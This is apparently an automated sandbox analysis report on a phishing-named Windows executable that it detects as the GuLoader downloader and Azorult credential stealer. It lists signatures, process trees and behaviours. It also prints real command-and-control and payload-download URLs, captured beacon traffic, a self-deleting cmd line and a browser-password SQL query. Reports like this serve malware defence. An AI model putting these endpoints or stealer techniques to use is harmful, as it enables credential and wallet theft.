Edit tour

Windows Analysis Report
PRICE ENQUIRY - RFQ 6000073650.exe

Overview

General Information

Sample name:	PRICE ENQUIRY - RFQ 6000073650.exe
Analysis ID:	1546772
MD5:	8083cf732510be4c79e5b6ce228765ea
SHA1:	f4b6508156d8d61bf534b56e9a02087b597c9417
SHA256:	4d5b8d11a093fb86a961c2bf87aca48a4e2a27bc1dda6e79092691948a84a4b8
Tags:	exeuser-TeamDreier
Infos:

Detection

Azorult, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected GuLoader

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Initial sample is a PE file and has a suspicious name

Self deletion via cmd or bat file

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

PRICE ENQUIRY - RFQ 6000073650.exe (PID: 4124 cmdline: "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe" MD5: 8083CF732510BE4C79E5B6CE228765EA)

PRICE ENQUIRY - RFQ 6000073650.exe (PID: 1532 cmdline: "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe" MD5: 8083CF732510BE4C79E5B6CE228765EA)

cmd.exe (PID: 3192 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PRICE ENQUIRY - RFQ 6000073650.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2140 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://any.run/cybersecurity-blog/azorult-malware-analysis/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2585827963.00000000379C8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000003.00000002.2626980063.0000000000090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000000.00000002.2374810343.00000000004D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000003.00000002.2654533275.00000000379CC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PRICE ENQUIRY - RFQ 6000073650.exe PID: 4124	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: PRICE ENQUIRY - RFQ 6000073650.exe PID: 1532	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: PRICE ENQUIRY - RFQ 6000073650.exe PID: 1532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764ef90.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764ef90.5.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x377d93:$string1: SELECT origin_url, username_value, password_value FROM logins 0x378cc4:$string1: SELECT origin_url, username_value, password_value FROM logins 0x1e855e:$string2: API call with %s database connection pointer 0x1e9192:$string3: os_win.c:%d: (%lu) %s(%s) - %s
3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764a63c.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764a63c.6.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x37c6e7:$string1: SELECT origin_url, username_value, password_value FROM logins 0x37d618:$string1: SELECT origin_url, username_value, password_value FROM logins 0x1eceb2:$string2: API call with %s database connection pointer 0x1edae6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
3.2.PRICE ENQUIRY - RFQ 6000073650.exe.376454d2.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.PRICE ENQUIRY - RFQ 6000073650.exe.376454d2.4.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x381851:$string1: SELECT origin_url, username_value, password_value FROM logins 0x382782:$string1: SELECT origin_url, username_value, password_value FROM logins 0x1f201c:$string2: API call with %s database connection pointer 0x1f2c50:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 1 entries

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T15:14:25.144089+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49704	TCP
2024-11-01T15:15:03.912267+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49905	TCP

ET MALWARE AZORult v3.3 Server Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T15:14:59.571183+0100	2029137	1	Malware Command and Control Activity Detected	188.114.96.3	80	192.168.2.5	49874	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T15:14:59.336920+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49874	188.114.96.3	80	TCP
2024-11-01T15:15:05.478849+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49898	188.114.96.3	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T15:14:59.336920+0100	2810276	1	Malware Command and Control Activity Detected	192.168.2.5	49874	188.114.96.3	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T15:14:55.638464+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49856	167.250.5.91	443	TCP

HTTP traffic detected: GET /yak/yzJUEwrOHumQymWjjWFju2.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: sierrassinfinusadas.com.arCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sierrassinfinusadas.com.ar
Source: global traffic	DNS traffic detected: DNS query: e3z1.shop

Source: unknown

HTTP traffic detected: POST /HT341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: e3z1.shopContent-Length: 109Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 65 ef 26 66 96 26 66 9e 26 66 97 26 66 96 26 66 98 26 67 ea 26 66 9f 42 13 8b 30 64 8b 30 61 ed 26 66 9b 46 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0e&f&f&f&f&f&g&fB0d0a&fF

Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584484351.00000000065E4000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584733892.00000000065E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://e3z1.shop/
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584733892.00000000065E4000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065C2000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://e3z1.shop/HT341/index.php
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.0000000006567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://e3z1.shop/HT341/index.php0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584484351.00000000065E4000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584733892.00000000065E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://e3z1.shop/HT341/index.phpC
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://e3z1.shop/HT341/index.phpi
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000000.00000000.2021430836.0000000000409000.00000008.00000001.01000000.00000003.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000000.2369476123.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf0
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.s
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=w
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065C2000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065B6000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065A1000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.0000000006567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=10l
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sierrassinfinusadas.com.ar/
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653117686.0000000035CE0000.00000004.00001000.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sierrassinfinusadas.com.ar/yak/yzJUEwrOHumQymWjjWFju2.bin
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856

Source: unknown

HTTPS traffic detected: 167.250.5.91:443 -> 192.168.2.5:49856 version: TLS 1.2

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_00405160 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405160

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764ef90.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764a63c.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.376454d2.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PRICE ENQUIRY - RFQ 6000073650.exe

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 0_2_004031FF EntryPoint,LdrInitializeThunk,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_004031FF
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 3_2_004031FF EntryPoint,LdrInitializeThunk,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,		3_2_004031FF

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 0_2_0040499D	0_2_0040499D
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 0_2_004063CC	0_2_004063CC
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 3_2_004063CC	3_2_004063CC
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Code function: 3_2_0040499D	3_2_0040499D

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: String function: 00402B3A appears 49 times

Source: api-ms-win-crt-locale-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found

Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs PRICE ENQUIRY - RFQ 6000073650.exe
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs PRICE ENQUIRY - RFQ 6000073650.exe

Source: PRICE ENQUIRY - RFQ 6000073650.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764ef90.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764a63c.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.376454d2.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@8/55@2/2

